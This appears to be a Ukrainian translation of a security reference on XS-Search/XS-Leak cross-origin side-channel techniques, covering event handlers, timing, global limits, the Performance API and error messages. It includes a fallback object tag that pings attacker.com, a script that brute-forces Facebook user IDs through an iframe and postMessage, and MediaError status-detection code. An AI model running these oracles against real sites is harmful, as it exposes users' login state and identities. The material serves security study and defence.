Основна інформація
XS-Search — це метод, який використовується для витягування cross-origin інформації шляхом використання вразливостей побічного каналу.
Ключові компоненти, задіяні в цій атаці:
- Vulnerable Web: цільовий вебсайт, з якого планується витяг інформації.
- Attacker’s Web: зловмисний сайт, створений атакуючим і відвідуваний жертвою, що містить експлойт.
- Inclusion Method: техніка, яка використовується для включення Vulnerable Web в Attacker’s Web (наприклад, window.open, iframe, fetch, HTML-елемент з href тощо).
- Техніка Leak: техніки, що використовуються для визначення відмінностей у стані Vulnerable Web на основі інформації, отриманої через inclusion method.
- Стани: два потенційні стани Vulnerable Web, які атакуючий прагне розрізнити.
- Виявлені відмінності: спостережувані варіації, на які покладається атакуючий для висновків про стан Vulnerable Web.
Виявлені відмінності
Кілька аспектів можна аналізувати, щоб відрізнити стани Vulnerable Web:
- Status Code: розрізнення різних HTTP response status codes cross-origin, наприклад помилки сервера, помилки клієнта або помилки автентифікації.
- API Usage: визначення використання Web API на сторінках, що показує, чи використовує cross-origin сторінка конкретне JavaScript Web API.
- Redirects: виявлення навігацій на інші сторінки, не лише HTTP-редиректи, а й ті, що викликаються JavaScript або HTML.
- Page Content: спостереження варіацій у тілі HTTP-відповіді або в підресурсах сторінки, наприклад кількості вкладених фреймів або відмінностей у розмірі зображень.
- HTTP Header: помічання наявності або можливої величини конкретного HTTP response header, включаючи заголовки такі як X-Frame-Options, Content-Disposition і Cross-Origin-Resource-Policy.
- Timing: фіксація послідовних часових відмінностей між двома станами.
Методи включення
- HTML Elements: HTML надає різні елементи для cross-origin resource inclusion, такі як стилі, зображення або скрипти, які змушують браузер запитувати не-HTML ресурс. Підбір потенційних HTML-елементів для цієї мети можна знайти на https://github.com/cure53/HTTPLeaks.
- Frames: елементи на кшталт iframe, object та embed можуть вбудовувати HTML-ресурси безпосередньо в сторінку атакуючого. Якщо сторінка не має захисту від фреймінгу, JavaScript може отримати доступ до вікна фрейму через властивість contentWindow.
- Pop-ups: метод
window.openвідкриває ресурс у новій вкладці або вікні, надаючи window handle для взаємодії JavaScript з методами та властивостями відповідно до SOP. Поп-апи, часто використовувані в single sign-on, обходять обмеження фреймінгу та куків цільового ресурсу. Проте сучасні браузери обмежують створення поп-апів певними діями користувача. - JavaScript Requests: JavaScript дозволяє робити прямі запити до цільових ресурсів за допомогою XMLHttpRequests або Fetch API. Ці методи дають точний контроль над запитом, наприклад можливість слідувати за HTTP-редиректами.
Техніки Leak
- Event Handler: класична техніка в XS-Leaks, де обробники подій, такі як onload і onerror, дають уявлення про успіх або відмову завантаження ресурсу.
- Error Messages: виключення JavaScript або спеціальні сторінки помилок можуть давати інформацію для leak або шляхом безпосереднього повідомлення про помилку, або через відмінність між його присутністю та відсутністю.
- Global Limits: фізичні обмеження браузера, такі як обсяг пам’яті або інші накладені ліміти, можуть сигналізувати про досягнення порогу і служити технікою leak.
- Global State: виявлені взаємодії з глобальними станами браузера (наприклад, інтерфейс History) можуть бути використані. Наприклад, кількість записів в історії браузера може дати підказки про cross-origin сторінки.
- Performance API: цей API надає деталі продуктивності поточної сторінки, включаючи мережеві таймінги документа та завантажених ресурсів, що дозволяє робити висновки про запитані ресурси.
- Readable Attributes: деякі HTML-атрибути доступні для читання cross-origin і можуть бути використані як техніка leak. Наприклад, властивість
window.frame.lengthдозволяє JavaScript порахувати фрейми, включені в вебсторінку cross-origin.
XSinator Tool & Paper
XSinator — це автоматизований інструмент для перевірки браузерів на кілька відомих XS-Leaks, що описані в його статті: https://xsinator.com/paper.pdf
Ви можете отримати доступ до інструменту за адресою https://xsinator.com/
Warning
Excluded XS-Leaks: Ми були змушені виключити XS-Leaks, які залежать від service workers, оскільки вони б заважали іншим leak в XSinator. Крім того, ми вирішили виключити XS-Leaks, що залежать від неконфігурації або багів у конкретному веб-застосунку. Наприклад, CrossOrigin Resource Sharing (CORS) misconfigurations, postMessage leakage або Cross-Site Scripting. Додатково ми виключили timebased XS-Leaks, оскільки вони часто є повільними, шумними та неточними.
Техніки на основі таймінгу
Деякі з наведених нижче технік використовують таймінг як частину процесу для виявлення відмінностей у можливих станах веб-сторінок. Існують різні способи вимірювання часу в браузері.
Clocks: API performance.now() дозволяє розробникам отримувати високоточні вимірювання часу.
Існує значна кількість API, якими атакуючі можуть зловживати для створення неявних годинників: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS-анімації та інші.
Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Техніки обробників подій
Onload/Onerror
- Inclusion Methods: Frames, HTML Elements
- Detectable Difference: Status Code
- More info: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Summary: якщо намагатися завантажити ресурс, події onerror/onload спрацьовують при невдалому/успішному завантаженні ресурсу — це дозволяє визначити status code.
- Code example: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
Приклад коду намагається завантажити скрипти та об’єкти через JS, але також можна використовувати інші теги такі як object, стилі, зображення, аудіо тощо. Крім того, можна вставити тег безпосередньо і оголосити події onload та onerror всередині тега (замість інжекції з JS).
Існує також версія цієї атаки без використання скриптів:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
У цьому випадку якщо example.com/404 не знайдено, буде завантажено attacker.com/?error.
Content-Type/CORB script load oracle
- Методи включення: HTML Elements (script)
- Виявлена різниця: Header / Content-Type via onload vs onerror (CORB)
- Підсумок: Якщо endpoint повертає HTML при збігу і JSON при невідповідності, підвантажте його за допомогою
<script src>. HTML тригеритьonload; JSON блокується CORB і викликаєonerror, даючи Boolean oracle для брутфорсу ідентифікаторів на кшталт__userв межах відомої області. - Примітки: Працює cross-origin без читання bodies; корисно для перерахування активного акаунта, коли один tenant ID зафіксований.
postMessage vs X-Frame-Options deny oracle
- Методи включення: Frames
- Виявлена різниця: Header (XFO) + postMessage presence/absence
- Підсумок: Деякі widgets відправляють postMessage батьківському вікну після завантаження. Якщо запит відкривають у фреймі з неправильним ідентифікатором, сервер може відповісти з
X-Frame-Options: deny, що заважає рендерінгу і, отже, повідомлення не буде надіслано. Встановивши для iframesrcкандидатський ID, очікуючи на подіюmessage(успіх) і трактуючи таймаут/відсутність повідомлення як невдачу, можна брутфорсити активний акаунт. - Мінімальний приклад:
<iframe id=fb width=0 height=0></iframe>
<script>
function test(id){
fb.src=`https://www.facebook.com/plugins/like.php?__a=1&__user=${id}`;
return new Promise(r=>{
const t=setTimeout(()=>r(false),2000);
onmessage=()=>{clearTimeout(t);r(true);}
});
}
</script>
- Пов’язане: PostMessage Vulnerabilities
для додаткових проблем з повідомленнями/iframe.
Onload Timing
- Методи включення: HTML Elements
- Різниця, яку можна виявити: Timing (зазвичай через вміст сторінки, статусний код)
- Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Підсумок: The performance.now() API може бути використано для вимірювання часу, необхідного для виконання запиту. Проте можуть бути використані й інші таймери, такі як PerformanceLongTaskTiming API, який може ідентифікувати задачі, що виконуються понад 50ms.
- Приклад коду: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events ще один приклад в:
Onload Timing + Forced Heavy Task
This technique is just like the previous one, but the attacker will also force some action to take a relevant amount time when the answer is positive or negative and measure that time.
performance.now + Force heavy task
unload/beforeunload Timing
- Методи включення: Frames
- Різниця, яку можна виявити: Timing (зазвичай через вміст сторінки, статусний код)
- Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Підсумок: The SharedArrayBuffer clock може бути використано для вимірювання часу, необхідного для виконання запиту. Можуть використовуватися й інші таймери.
- Приклад коду: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
Час, витрачений на завантаження ресурсу, можна виміряти, використовуючи події unload та beforeunload. Подія beforeunload спрацьовує, коли браузер збирається перейти на іншу сторінку, тоді як unload відбувається під час фактичної навігації. Різницю в часі між цими двома подіями можна обчислити, щоб визначити тривалість, яку браузер витратив на отримання ресурсу.
Sandboxed Frame Timing + onload
- Методи включення: Frames
- Різниця, яку можна виявити: Timing (зазвичай через вміст сторінки, статусний код)
- Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Підсумок: The performance.now() API може бути використано для вимірювання часу, необхідного для виконання запиту. Можуть використовуватися й інші таймери.
- Приклад коду: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Спостерігалося, що за відсутності Framing Protections, зловмисник може виміряти час, необхідний для завантаження сторінки та її субресурсів по мережі. Це вимірювання зазвичай можливе тому, що обробник onload в iframe викликається лише після завершення завантаження ресурсів і виконання JavaScript. Щоб уникнути мінливості, викликаної виконанням скриптів, зловмисник може використовувати атрибут sandbox у <iframe>. Додавання цього атрибуту обмежує багато функціональностей, зокрема виконання JavaScript, що дозволяє отримати вимірювання, яке переважно залежить від мережевої продуктивності.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Методи включення: Frames
- Відмінність, яку можна виявити: Page Content
- Детальніше:
- Підсумок: Якщо ви можете спричинити помилку на сторінці при доступі до правильного контенту і змусити її завантажуватися коректно при доступі до будь-якого іншого контенту, то можна побудувати цикл для витягання всієї інформації без вимірювання часу.
- Приклад коду:
Припустимо, що ви можете вставити сторінку, яка містить секретний контент всередину Iframe.
Ви можете змусити жертву шукати файл, що містить “flag” за допомогою Iframe (наприклад, експлуатуючи CSRF). Усередині Iframe відомо, що подія onload буде виконана щонайменше один раз. Далі ви можете змінювати URL iframe, змінюючи лише вміст частини hash у URL.
Наприклад:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
Якщо перший URL був успішно завантажений, то при зміні частини hash подія onload не спрацює знову. Але якщо сторінка мала якусь помилку під час завантаження, то подія onload буде викликана знову.
Таким чином ви можете розрізнити, чи сторінка коректно завантажилася або має помилку при доступі.
Javascript Execution
- Методи включення: Frames
- Відмінність, яку можна виявити: Page Content
- Детальніше:
- Підсумок: Якщо сторінка повертає чутливий контент або контент, який можна контролювати користувачем. Користувач може встановити дійсний JS код у негативному випадку, завантажуючи кожну спробу всередині тегів
<script>, тож у негативних випадках код атакуючого виконається, а в позитивних випадках нічого не буде виконано. - Приклад коду:
CORB - Onerror
- Методи включення: HTML Elements
- Відмінність, яку можна виявити: Status Code & Headers
- Детальніше: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Підсумок: Cross-Origin Read Blocking (CORB) — це механізм безпеки, який забороняє веб-сторінкам завантажувати певні чутливі крос-оріджн ресурси для захисту від атак типу Spectre. Проте атакувальники можуть експлуатувати його захисну поведінку. Коли відповідь, підлягаюча CORB, повертає CORB protected
Content-Typeзnosniffі статус-кодом2xx, CORB обрізає тіло відповіді та заголовки. Атакувальники, які це спостерігають, можуть інтерпретувати поєднання status code (вказує на успіх або помилку) іContent-Type(показує, чи захищено CORB), що може призвести до потенційного розкриття інформації. - Приклад коду:
Перегляньте посилання “More info” для додаткових відомостей про атаку.
onblur
- Методи включення: Frames
- Відмінність, яку можна виявити: Page Content
- Детальніше: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Підсумок: Leak чутливих даних з атрибутів id або name.
- Приклад коду: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
Можна завантажити сторінку всередину iframe і використати #id_value, щоб змусити сторінку фокусуватися на елементі iframe з вказаним id; якщо спрацює сигнал onblur, елемент з таким ID існує.
Ту ж атаку можна виконати з тегами portal.
postMessage Broadcasts
- Методи включення: Frames, Pop-ups
- Відмінність, яку можна виявити: API Usage
- Детальніше: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Підсумок: Збирати чутливу інформацію з postMessage або використовувати наявність postMessages як орекл, щоб дізнатися стан користувача на сторінці.
- Приклад коду:
Any code listening for all postMessages.
Додатки часто використовують postMessage broadcasts для комунікації між різними origin. Проте цей метод може ненавмисно розкрити чутливу інформацію, якщо параметр targetOrigin неправильно вказаний, дозволяючи будь-якому вікну отримувати повідомлення. Крім того, саме отримання повідомлення може виступати як oracle; наприклад, деякі повідомлення можуть відправлятися лише користувачам, що залогінені. Отже, наявність або відсутність таких повідомлень може відкривати інформацію про стан або ідентичність користувача, наприклад, чи аутентифікований він.
Global Limits Techniques
WebSocket API
- Методи включення: Frames, Pop-ups
- Відмінність, яку можна виявити: API Usage
- Детальніше: https://xsinator.com/paper.pdf (5.1)
- Підсумок: Виснаження ліміту WebSocket з’єднань дозволяє leak кількість WebSocket з’єднань крос-оріджн сторінки.
- Приклад коду: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
Можна визначити, чи і скільки WebSocket connections використовує цільова сторінка. Це дозволяє атакуючому виявляти стани додатка та отримувати інформацію, пов’язану з кількістю WebSocket з’єднань.
Якщо один origin використовує максимальну кількість об’єктів WebSocket, незалежно від стану їхніх з’єднань, створення нових об’єктів призведе до виключень JavaScript. Для виконання цієї атаки сайт атакуючого відкриває цільовий сайт у поп-апі або iframe і після завантаження цільового веба намагається створити максимальну можливу кількість WebSocket з’єднань. Кількість викинутих виключень — це кількість WebSocket з’єднань, які використовує вікно цільового сайту.
Payment API
- Методи включення: Frames, Pop-ups
- Відмінність, яку можна виявити: API Usage
- Детальніше: https://xsinator.com/paper.pdf (5.1)
- Підсумок: Виявлення Payment Request, тому що одночасно може бути активний лише один.
- Приклад коду: https://xsinator.com/testing.html#Payment%20API%20Leak
Цей XS-Leak дозволяє атакуючому виявити, коли крос-оріджн сторінка ініціює payment request.
Оскільки лише один payment request може бути активним одночасно, якщо цільовий сайт використовує Payment Request API, будь-які подальші спроби показати цей API зазнають невдачі і спричинять виключення JavaScript. Атакуючий може періодично намагатися відкрити UI Payment API. Якщо одна з таких спроб спричинить виключення, цільовий сайт наразі його використовує. Атакуючий може приховати ці періодичні спроби, одразу закриваючи UI після створення.
Timing the Event Loop
- Методи включення:
- Відмінність, яку можна виявити: Timing (зазвичай внаслідок Page Content, Status Code)
- Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Підсумок: Виміряти час виконання коду веба, зловживаючи однопотоковим JS event loop.
- Приклад коду:
Event Loop Blocking + Lazy images
JavaScript працює на основі single-threaded event loop моделі конкурентності, що означає — виконується лише одне завдання одночасно. Ця особливість може бути використана для оцінки скільки часу займає виконання коду з іншого origin. Атакуючий може вимірювати час виконання власного коду в event loop, постійно відправляючи події з фіксованими властивостями. Ці події будуть оброблені, коли пул подій стане порожнім. Якщо й інші origin надсилають події в той самий пул, атакуючий може вивести час виконання цих зовнішніх подій, спостерігаючи затримки в виконанні своїх завдань. Моніторинг event loop на предмет затримок може розкрити час виконання коду з інших origin, потенційно виявляючи чутливу інформацію.
Warning
В експлуатації timing-атак можна усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантаживши ресурси, що використовуються сторінкою, до її завантаження.
Busy Event Loop
- Методи включення:
- Відмінність, яку можна виявити: Timing (зазвичай внаслідок Page Content, Status Code)
- Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Підсумок: Один із методів вимірювання часу виконання веб-операції полягає в навмисній блокуванні event loop потоку і подальшому вимірюванні скільки часу потрібно, щоб event loop знову став доступним. Вставивши блокуючу операцію (наприклад, довгий обчислювальний цикл або синхронний виклик API) у event loop і відстежуючи час до початку виконання наступного коду, можна зробити висновки про тривалість завдань, що виконувалися в event loop під час блокування. Ця техніка спирається на однопотокову природу JavaScript і може дати уявлення про продуктивність або поведінку інших операцій, що ділять той самий потік.
- Приклад коду:
Важлива перевага техніки вимірювання часу шляхом блокування event loop — її потенціал обходити Site Isolation. Site Isolation — це функція безпеки, яка розділяє сайти на окремі процеси, щоб запобігти прямому доступу шкідливих сайтів до чутливих даних інших сайтів. Проте, впливаючи на час виконання іншого origin через спільний event loop, атакуючий може опосередковано витягувати інформацію про дії того origin. Цей метод не покладається на прямий доступ до даних іншого origin, а спостерігає вплив його активності на спільний event loop, обходячи захисні бар’єри Site Isolation.
Warning
В експлуатації timing-атак можна усунути мережеві фактори, щоб отримати більш точні вимірювання. Наприклад, завантаживши ресурси, що використовуються сторінкою, до її завантаження.
Connection Pool
- Методи включення: JavaScript Requests
- Відмінність, яку можна виявити: Timing (зазвичай внаслідок Page Content, Status Code)
- Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Підсумок: Атакуючий може зайняти всі сокети, окрім одного, завантажити цільовий веб і одночасно завантажити іншу сторінку; затримка до початку завантаження останньої сторінки — це час, який зайняло завантаження цільової.
- Приклад коду:
Браузери використовують сокети для комунікації з серверами, але через обмежені ресурси ОС і апаратного забезпечення браузери змушені накладати ліміти на кількість одночасних сокетів. Атакуючі можуть експлуатувати це обмеження наступним чином:
- Визначити ліміт сокетів браузера, наприклад, 256 глобальних сокетів.
- Заблокувати 255 сокетів на тривалий час, ініціювавши 255 запитів до різних хостів, налаштованих так, щоб утримувати з’єднання відкритими.
- Використати 256-й сокет для запиту до цільової сторінки.
- Спробувати зробити 257-й запит до іншого хоста. Оскільки всі сокети зайняті (кроки 2 і 3), цей запит буде поставлений в чергу до звільнення сокета. Затримка перед просуванням цього запиту дає атакуючому інформацію таймінгу про мережеву активність, пов’язану з 256-м сокетом (сокетом цільової сторінки). Це можливо, бо 255 сокетів із кроку 2 все ще зайняті, отже будь-який звільнений сокет має походити від кроку 3. Час до звільнення 256-го сокета пов’язаний із часом, потрібним для завершення запиту до цільової сторінки.
Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Connection Pool by Destination
- Методи включення: JavaScript Requests
- Відмінність, яку можна виявити: Timing (зазвичай внаслідок Page Content, Status Code)
- Детальніше:
- Підсумок: Схожа техніка до попередньої, але Google Chrome накладає ліміт 6 concurrent requests до одного origin. Якщо ми блокувємо 5 і потім запускаємо 6-й запит, ми можемо замірувати його час; якщо вдасться змусити жертву відправити більше запитів до того ж endpoint, щоб виявити стан сторінки, 6-й запит буде йти довше, і це можна виявити.
Performance API Techniques
The Performance API пропонує інструменти для отримання метрик продуктивності веб-додатків, доповнені Resource Timing API. Resource Timing API дозволяє відстежувати детальні таймінги мережевих запитів, наприклад тривалість запитів. Особливо, коли сервери включають заголовок Timing-Allow-Origin: * у свої відповіді, стає доступною додаткова інформація, така як розмір передачі і час DNS-пошуку.
Ці дані можна отримати через методи на кшталт performance.getEntries або performance.getEntriesByName, що дає повне уявлення про пов’язані з продуктивністю дані. Додатково API дозволяє вимірювати час виконання, віднімаючи відмітки часу, отримані через performance.now(). Проте варто враховувати, що для деяких операцій у браузерах типу Chrome точність performance.now() може бути обмежена мілісекундами, що впливає на деталізацію вимірювань.
Окрім вимірювань часу, Performance API можна використовувати для отримання безпекових підказок. Наприклад, наявність або відсутність сторінок в об’єкті performance у Chrome може свідчити про застосування X-Frame-Options. Конкретно, якщо сторінка заблокована від відображення в фреймі через X-Frame-Options, вона не буде записана в performance об’єкт, що дає тонку підказку про політику фреймінгу сторінки.
Error Leak
- Методи включення: Frames, HTML Elements
- Відмінність, яку можна виявити: Status Code
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Запити, що призводять до помилок, не створюють запису resource timing.
- Приклад коду: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
Можна відрізнити HTTP response status codes, бо запити, що ведуть до помилки, не створюють запису в Performance API.
Style Reload Error
- Методи включення: HTML Elements
- Відмінність, яку можна виявити: Status Code
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Через баг браузера запити, що призводять до помилок, завантажуються двічі.
- Приклад коду: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
У попередній техніці також виявлено два випадки, де бага в GC призводить до подвійного завантаження ресурсів при їх невдалому завантаженні. Це призводить до множинних записів у Performance API і може бути виявлено.
Request Merging Error
- Методи включення: HTML Elements
- Відмінність, яку можна виявити: Status Code
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Запити, що призводять до помилок, не можуть бути злито́і (merged).
- Приклад коду: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Техніка згадується в таблиці в згаданій праці, але там немає опису самої техніки. Проте можна знайти вихідний код, що перевіряє її, за посиланням https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Empty Page Leak
- Методи включення: Frames
- Відмінність, яку можна виявити: Page Content
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Empty responses не створюють записів resource timing.
- Приклад коду: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Атакуючий може виявити, чи запит призвів до порожнього HTTP response body, тому що empty pages не створюють запису в Performance API в деяких браузерах.
XSS-Auditor Leak
- Методи включення: Frames
- Відмінність, яку можна виявити: Page Content
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Використовуючи XSS Auditor у Security Assertions, атакувальники можуть виявляти певні елементи сторінки, спостерігаючи зміни в відповідях, коли crafted payloads тригерять механізм фільтрації аудитора.
- Приклад коду: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
У Security Assertions (SA) XSS Auditor, спочатку призначений для запобігання Cross-Site Scripting (XSS), іронічно може бути використаний для leak чутливих даних. Хоча ця вбудована функція була видалена з Google Chrome (GC), вона досі присутня в SA. У 2013 році Braun і Heiderich показали, що XSS Auditor може випадково блокувати легітимні скрипти, спричиняючи false positives. На цьому базувалися техніки витягання інформації і виявлення конкретного контенту на крос-оріджн сторінках, концепція, відома як XS-Leaks, яку спочатку описав Terada і розширив Heyes у блозі. Хоча ці техніки були специфічні для XSS Auditor у GC, було виявлено, що в SA сторінки, заблоковані XSS Auditor, не генерують записів у Performance API, що дає спосіб, яким чутлива інформація все ще може бути leaked.
X-Frame Leak
- Методи включення: Frames
- Відмінність, яку можна виявити: Header
- Детальніше: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Підсумок: Ресурс з заголовком X-Frame-Options не створює запису resource timing.
- Приклад коду: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Якщо сторінці не дозволено відображатися в iframe, вона не створює запису в performance. Внаслідок цього атакуючий може виявити наявність заголовка X-Frame-Options.
Те ж саме трапляється при використанні тегу embed.
Download Detection
- Методи включення: Frames
- Відмінність, яку можна виявити: Header
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Завантаження файлів не створює записів resource timing в Performance API.
- Приклад коду: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Схоже на описану XS-Leak: ресурс, який завантажується через заголовок ContentDisposition, також не створює запису в Performance API. Ця техніка працює в усіх основних браузерах.
Redirect Start Leak
- Методи включення: Frames
- Відмінність, яку можна виявити: Redirect
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Resource timing entry витікає (leaks) час початку redirect.
- Приклад коду: https://xsinator.com/testing.html#Redirect%20Start%20Leak
Ми знайшли приклад XS-Leak, що зловживає поведінкою деяких браузерів, які логують надто багато інформації для крос-оріджн запитів. Стандарт визначає підмножину атрибутів, які мають бути обнулені для крос-оріджн ресурсів. Проте в SA можна виявити, чи користувач перенаправлявся цільовою сторінкою, запитавши Performance API і перевіривши redirectStart timing data.
Duration Redirect Leak
- Методи включення: Fetch API
- Відмінність, яку можна виявити: Redirect
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Тривалість записів timing є від’ємною при настанні redirect.
- Приклад коду: https://xsinator.com/testing.html#Duration%20Redirect%20Leak
У GC значення duration для запитів, що призвели до redirect, є негативним і тому може бути відокремлене від запитів без redirect.
CORP Leak
- Методи включення: Frames
- Відмінність, яку можна виявити: Header
- Детальніше: https://xsinator.com/paper.pdf (5.2)
- Підсумок: Ресурси, захищені CORP, не створюють записів resource timing.
- Приклад коду: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak
В деяких випадках запис nextHopProtocol може бути використаний як техніка leak. У GC, коли встановлено заголовок CORP, поле nextHopProtocol буде порожнім. Зверніть увагу, що SA взагалі не створює запису performance для ресурсів з увімкненим CORP.
Service Worker
- Методи включення: Frames
- Відмінність, яку можна виявити: API Usage
- Детальніше: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/
- Підсумок: Виявити, чи зареєстровано service worker для певного origin.
- Приклад коду:
Service workers — це скриптові контексти, орієнтовані на події, що виконуються на origin. Вони працюють у фоні сторінки і можуть перехоплювати, модифікувати та кешувати ресурси для створення офлайн веб-застосунків.
Якщо ресурс, закешований service worker, доступається через iframe, ресурс буде завантажено з кешу service worker.
Щоб визначити, чи ресурс був завантажений з кешу service worker, можна використати Performance API.
Це також може бути зроблено за допомогою timing-атаки (див. папір для деталей).
Cache
- Методи включення: Fetch API
- Відмінність, яку можна виявити: Timing
- Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources
- Підсумок: Можна перевірити, чи ресурс був збережений у кеші.
- Приклад коду: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)
Використовуючи Performance API, можна перевірити, чи ресурс знаходиться в кеші.
Network Duration
- Методи включення: Fetch API
- Відмінність, яку можна виявити: Page Content
- Детальніше: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
- Підсумок: Можна отримати network duration запиту через
performanceAPI. - Приклад коду: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration
Error Messages Technique
Media Error
- Методи включення: HTML Elements (Video, Audio)
- Відмінність, яку можна виявити: Status Code
- Детальніше: https://bugs.chromium.org/p/chromium/issues/detail?id=828265
- Підсумок: У Firefox можливо точно leak status code крос-оріджн запиту.
- Приклад коду: https://jsbin.com/nejatopusi/1/edit?html,css,js,output
// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false)
function displayErrorMessage(msg) {
document.getElementById("log").innerHTML += msg
}
function startup() {
let audioElement = document.getElementById("audio")
// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
document.getElementById("startTest").addEventListener(
"click",
function () {
audioElement.src = document.getElementById("testUrl").value
},
false
)
// Create the event handler
var errHandler = function () {
let err = this.error
let message = err.message
let status = ""
// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
// Firefox error.message when the request loads successfully: "Failed to init decoder"
if (
message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1 ||
message.indexOf("Failed to init decoder") != -1
) {
status = "Success"
} else {
status = "Error"
}
displayErrorMessage(
"<strong>Status: " +
status +
"</strong> (Error code:" +
err.code +
" / Error Message: " +
err.message +
")<br>"
)
}
audioElement.onerror = errHandler
}
The MediaError interface’s message property однозначно ідентифікує ресурси, які завантажуються успішно, за допомогою унікального рядка. Атакуючий може експлуатувати цю властивість, спостерігаючи вміст повідомлення і таким чином визначати статус відповіді cross-origin ресурсу.
CORS Error
- Методи включення: Fetch API
- Детектована різниця: Header
- Детальніше: https://xsinator.com/paper.pdf (5.3)
- Підсумок: У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повний URL перенаправлених запитів.
- Приклад коду: https://xsinator.com/testing.html#CORS%20Error%20Leak
Ця техніка дозволяє атакуючому витягнути призначення redirect’у cross-origin сайту, експлуатуючи те, як Webkit-based browsers обробляють CORS-запити. Конкретно, коли CORS-enabled request відправляється на цільовий сайт, який виконує redirect залежно від стану користувача, і браузер потім відмовляє в запиті, повний URL цілі redirect’у виявляється у повідомленні про помилку. Ця вразливість не лише виявляє сам факт redirect’у, але й розкриває endpoint redirect’у та будь-які чутливі query parameters, які він може містити.
SRI Error
- Методи включення: Fetch API
- Детектована різниця: Header
- Детальніше: https://xsinator.com/paper.pdf (5.3)
- Підсумок: У Security Assertions (SA) повідомлення про помилки CORS ненавмисно розкривають повний URL перенаправлених запитів.
- Приклад коду: https://xsinator.com/testing.html#SRI%20Error%20Leak
Атакуючий може експлуатувати verbose error messages, щоб вивести розмір cross-origin відповідей. Це стається через механізм Subresource Integrity (SRI), який використовує integrity attribute для валідації, що fetched ресурси (часто з CDN) не були змінені. Для роботи SRI на cross-origin ресурсах вони мають бути CORS-enabled; інакше їх не перевіряють за integrity. У Security Assertions (SA), так само як і в CORS error XS-Leak, повідомлення про помилку може бути отримане після невдалого fetch-запиту з integrity attribute. Атакуючі можуть навмисно викликати цю помилку, задавши bogus hash value в integrity attribute будь-якого запиту. У SA отримане повідомлення про помилку ненавмисно розкриває content length запитуваного ресурсу. Це витік інформації дозволяє атакуючому бачити відмінності в розмірах відповіді, відкриваючи шлях для складніших XS-Leak атак.
CSP Violation/Detection
- Методи включення: Pop-ups
- Детектована різниця: Status Code
- Детальніше: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects
- Підсумок: Якщо на сторінці жертви в CSP дозволений тільки її власний домен, а при доступі відбувається redirect на інший домен, CSP спричинить детектовану помилку.
- Приклад коду: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation
